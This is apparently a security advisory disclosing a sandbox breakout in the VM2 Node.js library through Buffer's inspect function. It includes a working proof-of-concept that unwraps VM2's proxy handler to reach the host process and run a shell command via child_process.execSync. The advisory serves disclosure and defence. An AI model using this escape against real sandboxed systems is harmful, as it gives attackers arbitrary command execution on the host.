VM2 Has Sandbox Breakout Through Inspect Function

Summary

VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

PoC

const obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice:()=>'',
	l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
	if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
	return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.